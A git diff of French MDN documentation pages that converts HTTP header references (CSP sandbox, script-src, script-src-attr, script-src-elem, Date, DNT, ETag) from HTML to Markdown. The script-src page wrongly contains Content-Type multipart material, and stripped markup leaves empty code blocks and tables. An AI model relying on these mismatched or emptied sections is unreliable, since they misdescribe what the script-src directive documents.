+  - : Laisse les requêtes de ressources accéder à l'espace de stockage du parent avec l'[API Storage Access](/en-US/docs/Web/API/Storage_Access_API).
+- `allow-top-navigation`
+  - : Autorise la page à charger du contenu au niveau supérieur de contexte navigationnel. Si ce mot-clé n'est pas utilisé, cette opération n'est pas permise.
+- `allow-top-navigation-by-user-activation`
+  - : Laisse la ressource naviguer jusqu'au niveau supérieur de contexte navigationnel, mais seulement si initié par une aciton de l'utilisateur.
+
+## Exemples
+
+```bash
+Content-Security-Policy: sandbox allow-scripts;
+```
+
+## Spécifications
+
+| Spécification                                                                | Statut                       | Commentaire          |
+| ---------------------------------------------------------------------------- | ---------------------------- | -------------------- |
+| {{specName("CSP 3.0", "#directive-sandbox", "sandbox")}} | {{Spec2('CSP 3.0')}} | Inchangé.            |
+| {{specName("CSP 1.1", "#directive-sandbox", "sandbox")}} | {{Spec2('CSP 1.1')}} | Définition initiale. |
 
-
Compatibilité des navigateurs

+## Compatibilité des navigateurs
 
-
{{Compat("http.headers.csp.Content-Security-Policy.sandbox")}}

+{{Compat("http.headers.csp.Content-Security-Policy.sandbox")}}
 
-
Voir aussi

+## Voir aussi
 
-
    
- 
  • {{HTTPHeader("Content-Security-Policy")}}
    • 
- 
  • {{htmlattrxref("sandbox", "iframe")}} attribute on {{HTMLElement("iframe")}} elements
    • 
-

+- {{HTTPHeader("Content-Security-Policy")}}
+- {{htmlattrxref("sandbox", "iframe")}} attribute on {{HTMLElement("iframe")}} elements
diff --git a/files/fr/web/http/headers/content-security-policy/script-src-attr/index.md b/files/fr/web/http/headers/content-security-policy/script-src-attr/index.md
index d08a6f4e57..e0d25ed7db 100644
--- a/files/fr/web/http/headers/content-security-policy/script-src-attr/index.md
+++ b/files/fr/web/http/headers/content-security-policy/script-src-attr/index.md
@@ -16,79 +16,66 @@ tags:
   - source
 translation_of: Web/HTTP/Headers/Content-Security-Policy/script-src-attr
 ---
-
{{HTTPSidebar}}

+{{HTTPSidebar}}
 
-
La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) script-src-attr spécifie les sources valides pour du code JavaScript embarqué dans des éléments {{HTMLElement("script")}} ou dans des gestionnaires d'évènements par attribut comme onclick, mais non les URL chargées par des éléments {{HTMLElement("script")}}.

+La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`script-src-attr`** spécifie les sources valides pour du code JavaScript embarqué dans des éléments {{HTMLElement("script")}} ou dans des gestionnaires d'évènements par attribut comme `onclick`, mais non les URL chargées par des éléments {{HTMLElement("script")}}.
 
 
- 
-  
-   
-   
-  
-  
-   
-   
-  
-  
-   
-   
-  
- 
+  
+    
+      
+      
+    
+    
+      
+      
+    
+    
+      
+      
+    
+  
Version de CSP3
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défautOui, si cette directive est absente, l'agent utilisateur consultera la directive {{CSP("script-src")}}, qui a pour valeur par défaut celle de la directive default-src
Version de CSP3
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défaut
+        Oui, si cette directive est absente, l'agent utilisateur consultera la
+        directive {{CSP("script-src")}}, qui a pour valeur par défaut
+        celle de la directive default-src
+      

 

 
-
Syntaxe

+## Syntaxe
 
-
Une ou plusieurs sources peuvent être autorisées pour cette directive :

+Une ou plusieurs sources peuvent être autorisées pour cette directive :
 
-
Content-Security-Policy: script-src-attr <source>;
-Content-Security-Policy: script-src-attr <source> <source>;
-

+    Content-Security-Policy: script-src-attr ;
+    Content-Security-Policy: script-src-attr  ;
 
-
script-src-attr  peut être utilisée conjointement à  {{CSP("script-src")}} :

+`script-src-attr`  peut être utilisée conjointement à  {{CSP("script-src")}} :
 
-
Content-Security-Policy: script-src <source>;
-Content-Security-Policy: script-src-attr <source>;
-

+    Content-Security-Policy: script-src ;
+    Content-Security-Policy: script-src-attr ;
 
-
Sources

+### Sources
 
-
{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}

+{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}
 
-
Exemples

+## Exemples
 
-
Valeur par défaut avec script-src

+### Valeur par défaut avec script-src
 
-
Si la directive script-src-attr est absente, l'agent utilisateur se rabat sur la valeur de la directive {{CSP("script-src")}}, qui elle-même a pour valeur par défaut celle de la directive {{CSP("default-src")}}.

+Si la directive `script-src-attr` est absente, l'agent utilisateur se rabat sur la valeur de la directive {{CSP("script-src")}}, qui elle-même a pour valeur par défaut celle de la directive {{CSP("default-src")}}.
 
-
Spécifications

+## Spécifications
 
-
- 
-  
-   
-   
-   
-  
- 
- 
-  
-   
-   
-   
-  
- 
-
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-script-src-attr", "script-src-attr")}}{{Spec2("CSP 3.0")}}Définition initiale.

+| Spécification                                                                                    | Statut                       | Commentaire          |
+| ------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- |
+| {{specName("CSP 3.0", "#directive-script-src-attr", "script-src-attr")}} | {{Spec2("CSP 3.0")}} | Définition initiale. |
 
-
Compatibilité des navigateurs

+## Compatibilité des navigateurs
 
-
{{Compat("http.headers.csp.Content-Security-Policy.script-src-attr")}}

+{{Compat("http.headers.csp.Content-Security-Policy.script-src-attr")}}
 
-
Voir aussi

+## Voir aussi
 
-
    
- 
  • {{HTTPHeader("Content-Security-Policy")}}
    • 
- 
  • {{HTMLElement("script")}}
    • 
- 
  • {{CSP("script-src")}}
    • 
- 
  • {{CSP("script-src-elem")}}
    • 
-

+- {{HTTPHeader("Content-Security-Policy")}}
+- {{HTMLElement("script")}}
+- {{CSP("script-src")}}
+- {{CSP("script-src-elem")}}
diff --git a/files/fr/web/http/headers/content-security-policy/script-src-elem/index.md b/files/fr/web/http/headers/content-security-policy/script-src-elem/index.md
index 7d29bbef41..371af81c94 100644
--- a/files/fr/web/http/headers/content-security-policy/script-src-elem/index.md
+++ b/files/fr/web/http/headers/content-security-policy/script-src-elem/index.md
@@ -16,81 +16,66 @@ tags:
   - source
 translation_of: Web/HTTP/Headers/Content-Security-Policy/script-src-elem
 ---
-
{{HTTPSidebar}}

+{{HTTPSidebar}}
 
-
La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) script-src-elem spécifie les sources valides pour des éléments {{HTMLElement("script")}} JavaScript, mais non pour des scripts embarqués ou des gestionnaire d'évènements par attribut comme onclick.

+La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`script-src-elem`** spécifie les sources valides pour des éléments {{HTMLElement("script")}} JavaScript, mais non pour des scripts embarqués ou des gestionnaire d'évènements par attribut comme `onclick`.
 
 
- 
-  
-   
-   
-  
-  
-   
-   
-  
-  
-   
-   
-  
- 
+  
+    
+      
+      
+    
+    
+      
+      
+    
+    
+      
+      
+    
+  
Version de CSP3
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défautOui, si cette directive est absente, l'agent utilisateur consultera la directive {{CSP("script-src")}}, qui a pour valeur par défaut celle de la directive default-src
Version de CSP3
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défaut
+        Oui, si cette directive est absente, l'agent utilisateur consultera la
+        directive {{CSP("script-src")}}, qui a pour valeur par défaut
+        celle de la directive default-src
+      

 

 
-
Syntaxe

+## Syntaxe
 
-
Une ou plusieurs sources peuvent être autorisées pour cette directive :

+Une ou plusieurs sources peuvent être autorisées pour cette directive :
 
-
Content-Security-Policy: script-src-elem <source>;
-Content-Security-Policy: script-src-elem <source> <source>;
-

+    Content-Security-Policy: script-src-elem ;
+    Content-Security-Policy: script-src-elem  ;
 
-
script-src-elem peut être utilisée conjointement à {{CSP("script-src")}} :

+`script-src-elem` peut être utilisée conjointement à {{CSP("script-src")}} :
 
-
Content-Security-Policy: script-src <source>;
-Content-Security-Policy: script-src-elem <source>;
-

+    Content-Security-Policy: script-src ;
+    Content-Security-Policy: script-src-elem ;
 
-
Sources

+### Sources
 
-
{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}

+{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}
 
-
Exemples

+## Exemples
 
-
Valeur par défaut avec script-src

+### Valeur par défaut avec script-src
 
-
Si la directive script-src-elem est absente, l'agent utilisateur se rabat sur la valeur de la directive {{CSP("script-src")}}, qui elle-même a pour valeur par défaut celle de la directive {{CSP("default-src")}}.

+Si la directive `script-src-elem` est absente, l'agent utilisateur se rabat sur la valeur de la directive {{CSP("script-src")}}, qui elle-même a pour valeur par défaut celle de la directive {{CSP("default-src")}}.
 
-
Spécifications

-
-
- 
-  
-   
-   
-   
-  
- 
- 
-  
-   
-   
-   
-  
- 
-
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-script-src-elem", "script-src-elem")}}{{Spec2("CSP 3.0")}}Définition initiale.

-
-
Compatibilité des navigateurs

+## Spécifications
 
+| Spécification                                                                                    | Statut                       | Commentaire          |
+| ------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- |
+| {{specName("CSP 3.0", "#directive-script-src-elem", "script-src-elem")}} | {{Spec2("CSP 3.0")}} | Définition initiale. |
 
+## Compatibilité des navigateurs
 
-
{{Compat("http.headers.csp.Content-Security-Policy.script-src-elem")}}

+{{Compat("http.headers.csp.Content-Security-Policy.script-src-elem")}}
 
-
Voir aussi

+## Voir aussi
 
-
    
- 
  • {{HTTPHeader("Content-Security-Policy")}}
    • 
- 
  • {{HTMLElement("script")}}
    • 
- 
  • {{CSP("script-src")}}
    • 
- 
  • {{CSP("script-src-attr")}}
    • 
-

+- {{HTTPHeader("Content-Security-Policy")}}
+- {{HTMLElement("script")}}
+- {{CSP("script-src")}}
+- {{CSP("script-src-attr")}}
diff --git a/files/fr/web/http/headers/content-security-policy/script-src/index.md b/files/fr/web/http/headers/content-security-policy/script-src/index.md
index a6b2659ae9..03f6414e8c 100644
--- a/files/fr/web/http/headers/content-security-policy/script-src/index.md
+++ b/files/fr/web/http/headers/content-security-policy/script-src/index.md
@@ -15,162 +15,163 @@ tags:
   - source
 translation_of: Web/HTTP/Headers/Content-Security-Policy/script-src
 ---
-
{{HTTPSidebar}}

+{{HTTPSidebar}}
 
-
La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) script-src spécifie les sources valides pour du code JavaScript. Cela inclut non seulement les URL chargées directement par les éléments {{HTMLElement("script")}}, mais aussi les scripts embarqués, les attributs de gestion d'évènements (onclick) et les feuilles de style XSLT pouvant déclencher l'exécution de scripts.

+La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`script-src`** spécifie les sources valides pour du code JavaScript. Cela inclut non seulement les URL chargées directement par les éléments {{HTMLElement("script")}}, mais aussi les scripts embarqués, les attributs de gestion d'évènements (`onclick`) et [les feuilles de style XSLT](/en-US/docs/Web/XSLT) pouvant déclencher l'exécution de scripts.
 
 
- 
-  
-   
-   
-  
-  
-   
-   
-  
-  
-   
-   
-  
- 
+  
+    
+      
+      
+    
+    
+      
+      
+    
+    
+      
+      
+    
+  
Version de CSP1
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défautOui, si cette directive est absente, l'agent utilisateur consultera la directive default-src
Version de CSP1
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défaut
+        Oui, si cette directive est absente, l'agent utilisateur consultera la
+        directive default-src
+      

 

 
-
Syntaxe

+## Syntaxe
 
-
Une ou plusieurs sources peuvent être autorisées pour cette directive :

+Une ou plusieurs sources peuvent être autorisées pour cette directive :
 
-
Content-Security-Policy: script-src <source>;
-Content-Security-Policy: script-src <source> <source>;
-

+    Content-Security-Policy: script-src ;
+    Content-Security-Policy: script-src  ;
 
-
Sources

+### Sources
 
-
{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}

+{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}
 
-
Exemples

+## Exemples
 
-
Cas de violation

+### Cas de violation
 
-
Soit cet en-tête CSP :

+Soit cet en-tête CSP :
 
-
Content-Security-Policy: script-src https://example.com/

+```bash
+Content-Security-Policy: script-src https://example.com/
+```
 
-
Ces scripts seront bloqués et ne seront pas chargés ou exécutés :

+Ces scripts seront bloqués et ne seront pas chargés ou exécutés :
 
-
<script src="https://not-example.com/js/library.js"></script>

+```html
+
+```
 
-
Notez que les gestionnaires d'évènements par attributs sont aussi bloqués :

+Notez que les gestionnaires d'évènements par attributs sont aussi bloqués :
 
-
<button id="btn" onclick="doSomething()">

+```html
+
+
+```
 
-
La requête ressemble à peu près à ceci (les en-têtes moins intéressants ont été ici volontairement omis) :

+La requête ressemble à peu près à ceci (les en-têtes moins intéressants ont été ici volontairement omis) :
 
-
POST /toto HTTP/1.1
-Content-Length: 68137
-Content-Type: multipart/form-data; boundary=---------------------------974767299852498929531610575
-Content-Disposition: form-data; name="description"
+    POST /toto HTTP/1.1
+    Content-Length: 68137
+    Content-Type: multipart/form-data; boundary=---------------------------974767299852498929531610575
+    Content-Disposition: form-data; name="description"
 
----------------------------974767299852498929531610575
+    ---------------------------974767299852498929531610575
 
-du texte par ici
+    du texte par ici
 
----------------------------974767299852498929531610575
-Content-Disposition: form-data; name="monFichier"; filename="toto.txt"
-Content-Type: text/plain
+    ---------------------------974767299852498929531610575
+    Content-Disposition: form-data; name="monFichier"; filename="toto.txt"
+    Content-Type: text/plain
 
-(contenu du fichier envoyé en ligne toto.txt)
+    (contenu du fichier envoyé en ligne toto.txt)
 
----------------------------974767299852498929531610575
-

+    ---------------------------974767299852498929531610575
 
-
Spécifications

+## Spécifications
 
-
- 
-  
-   
-   
-  
-  
-   
-   
-  
-  
-   
-   
-  
- 
-
SpécificationTitre
{{RFC("7233", "Content-Type in multipart", "4.1")}}Hypertext Transfer Protocol (HTTP/1.1): Range Requests
{{RFC("7231", "Content-Type", "3.1.1.5")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content

+| Spécification                                                        | Titre                                                         |
+| -------------------------------------------------------------------- | ------------------------------------------------------------- |
+| {{RFC("7233", "Content-Type in multipart", "4.1")}} | Hypertext Transfer Protocol (HTTP/1.1): Range Requests        |
+| {{RFC("7231", "Content-Type", "3.1.1.5")}}             | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |
 
-
Compatibilité selon les navigateurs

+## Compatibilité selon les navigateurs
 
-
{{Compat("http/headers/content-type")}}

+{{Compat("http/headers/content-type")}}
 
-
Voir aussi

+## Voir aussi
 
-
    
- 
  • {{HTTPHeader("Accept")}} et {{HTTPHeader("Accept-Charset")}}
    • 
- 
  • {{HTTPHeader("Content-Disposition")}}
    • 
- 
  • {{HTTPStatus("206")}} Partial Content
    • 
- 
  • {{HTTPHeader("X-Content-Type-Options")}}
    • 
-

+- {{HTTPHeader("Accept")}} et {{HTTPHeader("Accept-Charset")}}
+- {{HTTPHeader("Content-Disposition")}}
+- {{HTTPStatus("206")}} `Partial Content`
+- {{HTTPHeader("X-Content-Type-Options")}}
diff --git a/files/fr/web/http/headers/date/index.md b/files/fr/web/http/headers/date/index.md
index e882e72fdd..6b505d3f0a 100644
--- a/files/fr/web/http/headers/date/index.md
+++ b/files/fr/web/http/headers/date/index.md
@@ -3,74 +3,60 @@ title: Date
 slug: Web/HTTP/Headers/Date
 translation_of: Web/HTTP/Headers/Date
 ---
-
{{HTTPSidebar}}

+{{HTTPSidebar}}
 
-
L'en-tête général HTTP Date contient la date et l'heure d'origine du message.

+L'en-tête général HTTP **`Date`** contient la date et l'heure d'origine du message.
 
 
- 
-  
-   
-   
-  
-  
-   
-   
-  
- 
+  
+    
+      
+      
+    
+    
+      
+      
+    
+  
Type d'en-tête{{Glossary("General header")}}
{{Glossary("Forbidden header name ")}}oui
Type d'en-tête{{Glossary("General header")}}
{{Glossary("Forbidden header name ")}}oui

 

 
-
Syntaxe

+## Syntaxe
 
-
Date: <day-name>, <jour> <mois> <année> <heure>:<minute>:<seconde> GMT
-

+    Date: ,    :: GMT
 
-
Directives

+## Directives
 
-

- 
<day-name>

- 
L'un des mots "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" ou "Sun" (sensible à la casse).

- 
<day>

- 
Numéro de jour à 2 chiffres, par ex. "04" ou "23".

- 
< month>

- 
L'un des mots "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (sensible à la casse).

- 
< year>

- 
Numéro d'année à 4 chiffres, par exemple "1990" ou "2018".

- 
< hour>

- 
Numéro d'heure à 2 chiffres, par exemple "09" or "23".

- 
< minute>

- 
Numéro d'heure à 2 chiffres, par exemple "04" or "59".

- 
< second>

- 
Numéro de seconde à 2 chiffres, par exemple "04" or "59".

- 
GMT

- 
Temps sur le Méridien de Greenwich. Les dates HTTP sont toujours exprimées en GMT, jamais en heure locale.

-

+- \
+  - : L'un des mots "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" ou "Sun" (sensible à la casse).
+- \
+  - : Numéro de jour à 2 chiffres, par ex. "04" ou "23".
+- < month>
+  - : L'un des mots "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (sensible à la casse).
+- < year>
+  - : Numéro d'année à 4 chiffres, par exemple "1990" ou "2018".
+- < hour>
+  - : Numéro d'heure à 2 chiffres, par exemple "09" or "23".
+- < minute>
+  - : Numéro d'heure à 2 chiffres, par exemple "04" or "59".
+- < second>
+  - : Numéro de seconde à 2 chiffres, par exemple "04" or "59".
+- GMT
+  - : Temps sur le Méridien de Greenwich. Les dates HTTP sont toujours exprimées en GMT, jamais en heure locale.
 
-
Exemples

+## Exemples
 
-
Date: Wed, 21 Oct 2015 07:28:00 GMT

+    Date: Wed, 21 Oct 2015 07:28:00 GMT
 
-
Spécifications

+## Spécifications
 
-
- 
-  
-   
-   
-  
-  
-   
-   
-  
- 
-
SpécificationsTitre
{{RFC("7231", "Date", "7.1.1.2")}}Hypertext Transfer Protocol (HTTP/1.1) : Sémantique et contenu

+| Spécifications                               | Titre                                                          |
+| -------------------------------------------- | -------------------------------------------------------------- |
+| {{RFC("7231", "Date", "7.1.1.2")}} | Hypertext Transfer Protocol (HTTP/1.1) : Sémantique et contenu |
 
-
Compatibilité des navigateurs

+## Compatibilité des navigateurs
 
-
{{Compat("http.headers.Date")}}

+{{Compat("http.headers.Date")}}
 
-
See also

+## See also
 
-
    
- 
  • {{HTTPHeader("Age")}}
    • 
-

+- {{HTTPHeader("Age")}}
diff --git a/files/fr/web/http/headers/dnt/index.md b/files/fr/web/http/headers/dnt/index.md
index 225e0911e2..a54c4988d5 100644
--- a/files/fr/web/http/headers/dnt/index.md
+++ b/files/fr/web/http/headers/dnt/index.md
@@ -3,79 +3,63 @@ title: DNT
 slug: Web/HTTP/Headers/DNT
 translation_of: Web/HTTP/Headers/DNT
 ---
-
{{HTTPSidebar}}

+{{HTTPSidebar}}
 
-
Le header de requête DNT (Do Not Track) indique que les préférences de l'utilisateur concernant le suivi publicitaire. Il permet aux utilisateurs d'indiquer s'ils préfèrent leur vie privée au lieu d'un contenu personnalisé.

+Le header de requête **`DNT`** (**D**o **N**ot **T**rack) indique que les préférences de l'utilisateur concernant le suivi publicitaire. Il permet aux utilisateurs d'indiquer s'ils préfèrent leur vie privée au lieu d'un contenu personnalisé.
 
 
- 
-  
-   
-   
-  
-  
-   
-   
-  
- 
+  
+    
+      
+      
+    
+    
+      
+      
+    
+  
Header type{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}yes
Header type{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}yes

 

 
-
Syntax

+## Syntax
 
-
DNT: 0
-DNT: 1
-

+    DNT: 0
+    DNT: 1
 
-
Directives

+## Directives
 
-

- 
0

- 
L'utilisateur préfère autoriser son suivi sur le site cible.

- 
1

- 
L'utilisateur préfère ne pas être suivi sur le site cible.

-

+- 0
+  - : L'utilisateur préfère autoriser son suivi sur le site cible.
+- 1
+  - : L'utilisateur préfère ne pas être suivi sur le site cible.
 
-
Exemples

+## Exemples
 
-
Lire le statut Do Not Track avec JavaScript

+### Lire le statut Do Not Track avec JavaScript
 
-
La préférence de l'utilisateur pour DNT peut également être lue depuis JavaScript en utilisant la proriété {{domxref("Navigator.doNotTrack")}} :

+La préférence de l'utilisateur pour DNT peut également être lue depuis JavaScript en utilisant la proriété {{domxref("Navigator.doNotTrack")}} :
 
-
navigator.doNotTrack; // "0" ou "1"

+```js
+navigator.doNotTrack; // "0" ou "1"
+```
 
-
Spécifications

+## Spécifications
 
-
- 
-  
-   
-   
-   
-  
-  
-   
-   
-   
-  
- 
-
SpécificationStatusCommentaire
{{SpecName('Tracking','#dnt-header-field', 'DNT Header Field for HTTP Requests')}}{{Spec2("Tracking")}}Définition initiale.

+| Spécification                                                                                                | Status                       | Commentaire          |
+| ------------------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- |
+| {{SpecName('Tracking','#dnt-header-field', 'DNT Header Field for HTTP Requests')}} | {{Spec2("Tracking")}} | Définition initiale. |
+
+## Compatibilité navigateur
+
+{{Compat("http.headers.DNT")}}
+
+## Voyez aussi
+
+- {{domxref("Navigator.doNotTrack")}}
+- {{HTTPHeader("Tk")}} header
+- [Do Not Track on Wikipedia](https://en.wikipedia.org/wiki/Do_Not_Track)
+- [What Does the "Track" in "Do Not Track" Mean? – EFF](https://www.eff.org/deeplinks/2011/02/what-does-track-do-not-track-mean)
+- [donottrack.us](http://donottrack.us/)
+- DNT browser settings help:
 
-
Compatibilité navigateur

-
-
{{Compat("http.headers.DNT")}}

-
-
Voyez aussi

-
-
+  - [Firefox](https://www.mozilla.org/en-US/firefox/dnt/)
+  - [Chrome](https://support.google.com/chrome/answer/2790761)
diff --git a/files/fr/web/http/headers/etag/index.md b/files/fr/web/http/headers/etag/index.md
index ed941a5b6c..c0ce27dba1 100644
--- a/files/fr/web/http/headers/etag/index.md
+++ b/files/fr/web/http/headers/etag/index.md
@@ -8,94 +8,78 @@ tags:
   - header
 translation_of: Web/HTTP/Headers/ETag
 ---
-
{{HTTPSidebar}}

+{{HTTPSidebar}}
 
-
L'en-tête de réponse ETag HTTP est un identifiant pour une version spécifique d'une ressource. Il permet aux caches d'être plus efficaces et d'économiser de la bande passante, du fait que le serveur Web n'a pas besoin d'envoyer une réponse complète si le contenu n'a pas changé. Sinon, si le contenu a changé, les etags sont utiles pour empêcher les mises à jour simultanées d'une ressource de s'écraser mutuellement ("collisions en vol").

+L'en-tête de réponse `ETag` HTTP est un identifiant pour une version spécifique d'une ressource. Il permet aux caches d'être plus efficaces et d'économiser de la bande passante, du fait que le serveur Web n'a pas besoin d'envoyer une réponse complète si le contenu n'a pas changé. Sinon, si le contenu a changé, les etags sont utiles pour empêcher les mises à jour simultanées d'une ressource de s'écraser mutuellement ("collisions en vol").
 
-
Si la ressource à une URL donnée change, une nouvelle valeur Etag doit être générée. Les Etags sont donc similaires aux empreintes digitales et elles peuvent également être utilisées à des fins de suivi par certains serveurs. Une comparaison entre elles permet de déterminer rapidement si deux représentations d'une ressource sont identiques, mais un serveur de suivi peut également leur imposer de persister indéfiniment.

+Si la ressource à une URL donnée change, une nouvelle valeur `Etag` doit être générée. Les Etags sont donc similaires aux empreintes digitales et elles peuvent également être utilisées à des fins de suivi par certains serveurs. Une comparaison entre elles permet de déterminer rapidement si deux représentations d'une ressource sont identiques, mais un serveur de suivi peut également leur imposer de persister indéfiniment.
 
 
- 
-  
-   
-   
-  
-  
-   
-   
-  
- 
+  
+    
+      
+      
+    
+    
+      
+      
+    
+  
Type d'entête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}non
Type d'entête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}non

 

 
-
Syntaxe

+## Syntaxe
 
-
ETag: W/"<etag_value>"
-ETag: "<etag_value>"
-

+    ETag: W/""
+    ETag: ""
 
-
Directives

+## Directives
 
-

- 
W/ {{optional_inline}}

- 
'W/' (sensible à la casse) indique qu'un validateur faible est utilisé. Les validateurs faibles sont faciles à générer, mais ils sont beaucoup moins utiles pour les comparaisons. Les validateurs forts sont idéaux pour les comparaisons, mais ils peuvent être très difficiles à générer efficacement. Les valeurs Etag faibles de deux représentations des mêmes ressources peuvent être sémantiquement équivalentes, mais ne pas être identiques octet par octet.

- 
"<etag_value>"

- 
Balises d'entité représentant d'une façon unique les ressources demandées. Elles sont consituées d'une chaîne de caractères ASCII placés entre apostrophes doubles (comme "675af34563dc-tr34"). La méthode par laquelle les valeurs ETag sont générées n'est pas spécifiée. Souvent, un hachage du contenu, un hachage de l'horodatage de la dernière modification, ou seulement un numéro de révision est utilisé. Par exemple, MDN utilise un hachage de chiffres hexadécimaux du contenu du wiki.

-

+- `W/` {{optional_inline}}
+  - : `'W/'` (sensible à la casse) indique qu'un validateur faible est utilisé. Les validateurs faibles sont faciles à générer, mais ils sont beaucoup moins utiles pour les comparaisons. Les validateurs forts sont idéaux pour les comparaisons, mais ils peuvent être très difficiles à générer efficacement. Les valeurs `Etag` faibles de deux représentations des mêmes ressources peuvent être sémantiquement équivalentes, mais ne pas être identiques octet par octet.
+- **"\**"
+  - : Balises d'entité représentant d'une façon unique les ressources demandées. Elles sont consituées d'une chaîne de caractères ASCII placés entre apostrophes doubles (comme `"675af34563dc-tr34"`). La méthode par laquelle les valeurs `ETag` sont générées n'est pas spécifiée. Souvent, un hachage du contenu, un hachage de l'horodatage de la dernière modification, ou seulement un numéro de révision est utilisé. Par exemple, MDN utilise un hachage de chiffres hexadécimaux du contenu du wiki.
 
-
Exemples

+## Exemples
 
-
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
-ETag: W/"0815"

+    ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
+    ETag: W/"0815"
 
-
Évitement des collisions en vol

+### Évitement des collisions en vol
 
-
A l'aide des en-têtes ETag et {{HTTPHeader("If-Match")}}, vous pouvez détecter les collisions d'édition en vol.

+A l'aide des en-têtes `ETag` et {{HTTPHeader("If-Match")}}, vous pouvez détecter les collisions d'édition en vol.
 
-
Par exemple, lors de l'édition de MDN, le contenu actuel du wiki est haché et placé dans un Etag dans la réponse :

+Par exemple, lors de l'édition de MDN, le contenu actuel du wiki est haché et placé dans un `Etag` dans la réponse :
 
-
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"

+    ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
 
-
Lors de la sauvegarde des modifications d'une page wiki ("post" des données), la requête {{HTTPMethod("POST")}} contiendra l'en-tête {{HTTPHeader("If-Match")}} contenant les valeurs ETag par rapport auxquelles vérifier la péremption.

+Lors de la sauvegarde des modifications d'une page wiki ("post" des données), la requête {{HTTPMethod("POST")}} contiendra l'en-tête {{HTTPHeader("If-Match")}} contenant les valeurs ETag par rapport auxquelles vérifier la péremption.
 
-
If-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"

+    If-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"
 
-
Si les hachages ne correspondent pas, cela signifie que le document a été modifié entre-temps, et une erreur {{HTTPStatus("412")}} Precondition Failed est déclenchée.

+Si les hachages ne correspondent pas, cela signifie que le document a été modifié entre-temps, et une erreur {{HTTPStatus("412")}} `Precondition Failed` est déclenchée.
 
-
Mise en cache des ressources inchangées

+### Mise en cache des ressources inchangées
 
-
Un autre cas d'utilisation typique de l'en-tête ETag est de mettre en cache les ressources qui sont inchangées. Si un utilisateur visite à nouveau une URL donnée (qui a un ensemble d'ETag), et qu'elle est périmée, c'est à dire, trop ancienne pour être considérée comme utilisable, le client enverra en même temps la valeur de son ETag dans un champ d'en-tête {{HTTPHeader("If-None-Match")}} :

+Un autre cas d'utilisation typique de l'en-tête `ETag` est de mettre en cache les ressources qui sont inchangées. Si un utilisateur visite à nouveau une URL donnée (qui a un ensemble d'`ETag`), et qu'elle est _périmée_, c'est à dire, trop ancienne pour être considérée comme utilisable, le client enverra en même temps la valeur de son `ETag` dans un champ d'en-tête {{HTTPHeader("If-None-Match")}} :
 
-
If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"

+    If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"
 
-
Le serveur comparera l'ETag du client (envoyé avec If-None-Match) à l'ETag de sa version en cours de la ressource, et si les deux valeurs correspondent (c'est-à-dire que la ressource n'a pas changé), le serveur renverra un statut {{HTTPStatus( "304")}} Not Modified, sans aucun corps, qui indiquera au client que sa version mise en cache de la réponse est toujours bonne à utiliser (actuelle).

+Le serveur comparera l'`ETag` du client (envoyé avec `If-None-Match`) à l'`ETag` de sa version en cours de la ressource, et si les deux valeurs correspondent (c'est-à-dire que la ressource n'a pas changé), le serveur renverra un statut {{HTTPStatus( "304")}} Not Modified, sans aucun corps, qui indiquera au client que sa version mise en cache de la réponse est toujours bonne à utiliser (actuelle).
 
-
Spécifications

+## Spécifications
 
-
- 
-  
-   
-   
-  
-  
-   
-   
-  
- 
-
SpécificationTitre
{{RFC("7232", "ETag", "2.3")}}Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests

+| Spécification                            | Titre                                                        |
+| ---------------------------------------- | ------------------------------------------------------------ |
+| {{RFC("7232", "ETag", "2.3")}} | Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests |
 
-
Compatibilité des navigateurs

+## Compatibilité des navigateurs
 
-
{{Compat("http.headers.ETag")}}

+{{Compat("http.headers.ETag")}}
 
-
Voir aussi

+## Voir aussi
 
-
+- {{HTTPHeader("If-Match")}}
+- {{HTTPHeader("If-None-Match")}}
+- {{HTTPStatus("304")}}` Not Modified`
+- {{HTTPStatus("412")}}` Precondition Failed`
+- [W3C Note: Editing the Web – Detecting the Lost Update Problem Using Unreserved Checkout](https://www.w3.org/1999/04/Editing/)
